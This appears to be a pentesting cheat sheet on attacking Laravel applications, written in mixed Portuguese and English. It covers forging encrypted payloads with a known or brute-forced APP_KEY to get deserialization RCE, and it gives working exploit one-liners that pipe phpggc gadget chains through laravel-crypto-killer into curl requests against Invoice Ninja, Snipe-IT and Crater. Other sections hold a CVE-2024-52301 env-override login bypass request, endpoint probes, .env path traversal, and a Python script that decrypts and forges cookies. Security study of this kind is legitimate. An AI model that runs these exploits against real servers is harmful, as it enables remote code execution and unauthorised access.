Laravel

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Laravel SQLInjection

Read information about this here: https://stitcher.io/blog/unsafe-sql-functions-in-laravel

APP_KEY & Encryption internals (Laravel \u003e=5.6)

Laravel usa AES-256-CBC (ou GCM) com integridade HMAC internamente (Illuminate\\Encryption\\Encrypter). O texto cifrado bruto que é finalmente enviado ao cliente é Base64 de um objeto JSON como:

{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) irá serialize() o plaintext por padrão, enquanto decrypt($payload, $unserialize=true) irá automaticamente unserialize() o valor descriptografado. Portanto qualquer atacante que conheça a chave secreta de 32 bytes APP_KEY pode criar um objeto serializado PHP criptografado e obter RCE via métodos mágicos (__wakeup, __destruct, …).

Minimal PoC (framework ≥9.x):

use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Injete a string produzida em qualquer sink decrypt() vulnerável (parâmetro de rota, cookie, session, …).

laravel-crypto-killer 🧨

laravel-crypto-killer automatiza todo o processo e adiciona um modo bruteforce conveniente:

# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

O script suporta de forma transparente ambos os payloads CBC e GCM e regenera o campo HMAC/tag.

Padrões vulneráveis do mundo real

O fluxo de exploração é sempre:

1. Obter ou recuperar por brute-force a APP_KEY de 32 bytes.
2. Construir uma cadeia de gadgets com PHPGGC (por exemplo Laravel/RCE13, Laravel/RCE9 ou Laravel/RCE15).
3. Criptografar o gadget serializado com laravel_crypto_killer.py e a APP_KEY recuperada.
4. Entregar o ciphertext ao sink vulnerável decrypt() (parâmetro de rota, cookie, sessão …) para acionar RCE.

Abaixo estão one-liners concisos demonstrando todo o caminho de ataque para cada CVE do mundo real mencionado acima:

# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

Mass APP_KEY discovery via cookie brute-force

Because every fresh Laravel response sets at least 1 encrypted cookie (XSRF-TOKEN and usually laravel_session), public internet scanners (Shodan, Censys, …) leak millions of ciphertexts that can be attacked offline.

Key findings of the research published by Synacktiv (2024-2025):

• Dataset July 2024 » 580 k tokens, 3.99 % keys cracked (≈23 k)
• Dataset May 2025 » 625 k tokens, 3.56 % keys cracked

• 1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.

• Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).

The private Go tool nounours pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.

CVE-2024-52301 – HTTP argv/env override → auth bypass

When PHP’s register_argc_argv=On (typical on many distros), PHP exposes an argv array for HTTP requests derived from the query string. Recent Laravel versions parsed these “CLI-like” args and honored --env=<value> at runtime. This allows flipping the framework environment for the current HTTP request just by appending it to any URL:

• Quick check:

• Visit https://target/?--env=local or any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working.

• Impact example (business logic trusting a special env):

• If the app contains branches like if (app()->environment('preprod')) { /* bypass auth */ }, you can authenticate without valid creds by sending the login POST to:

• POST /login?--env=preprod

• Notes:

• Works per-request, no persistence.

• Requires register_argc_argv=On and a vulnerable Laravel version that reads argv for HTTP.

• Useful primitive to surface more verbose errors in “debug” envs or to trigger environment-gated code paths.

• Mitigations:

• Disable register_argc_argv for PHP-FPM/Apache.

• Upgrade Laravel to ignore argv on HTTP requests and remove any trust assumptions tied to app()->environment() in production routes.

Minimal exploitation flow (Burp):

POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf

Truques do Laravel

Modo de depuração

Se o Laravel estiver em modo de depuração você poderá acessar o código e os dados sensíveis.
Por exemplo http://127.0.0.1:8000/profiles:

This is usually needed for exploiting other Laravel RCE CVEs.

Fingerprinting & endpoints dev expostos

Verificações rápidas para identificar uma stack Laravel e ferramentas de dev perigosas expostas em produção:

• /_ignition/health-check → Ignition presente (ferramenta de debug usada pelo CVE-2021-3129). Se acessível sem autenticação, a app pode estar em debug ou mal configurada.
• /_debugbar → assets do Laravel Debugbar; frequentemente indica modo de depuração.
• /telescope → Laravel Telescope (monitor de dev). Se público, espere ampla divulgação de informações e possíveis ações.
• /horizon → painel de filas; divulgação da versão e, às vezes, ações protegidas por CSRF.
• X-Powered-By, cookies XSRF-TOKEN and laravel_session, and Blade error pages also help fingerprint.

# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done

.env

O Laravel salva a APP que usa para encrypt os cookies e outras credenciais dentro de um arquivo chamado .env que pode ser acessado usando um path traversal em: /../.env

O Laravel também exibirá essa informação na debug page (que aparece quando o Laravel encontra um erro e o modo de debug está ativado).

Usando o APP_KEY secreto do Laravel você pode decrypt e re-encrypt cookies:

Decrypt Cookie

import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)


def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''


def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')

Laravel Deserialization RCE

Versões vulneráveis: 5.5.40 e 5.6.x até 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)

Informações sobre a vulnerabilidade de desserialização: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/

Você pode testá-la e explorá-la usando https://github.com/kozmic/laravel-poc-CVE-2018-15133
Ou você também pode explorá-la com metasploit: use unix/http/laravel_token_unserialize_exec

CVE-2021-3129

Outra desserialização: https://github.com/ambionics/laravel-exploits

Referências

• Laravel: APP_KEY leakage analysis (EN)
• Laravel : analyse de fuite d’APP_KEY (FR)
• laravel-crypto-killer
• PHPGGC – PHP Generic Gadget Chains
• CVE-2018-15133 write-up (WithSecure)
• CVE-2024-52301 advisory – Laravel argv env detection
• CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override
• 0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)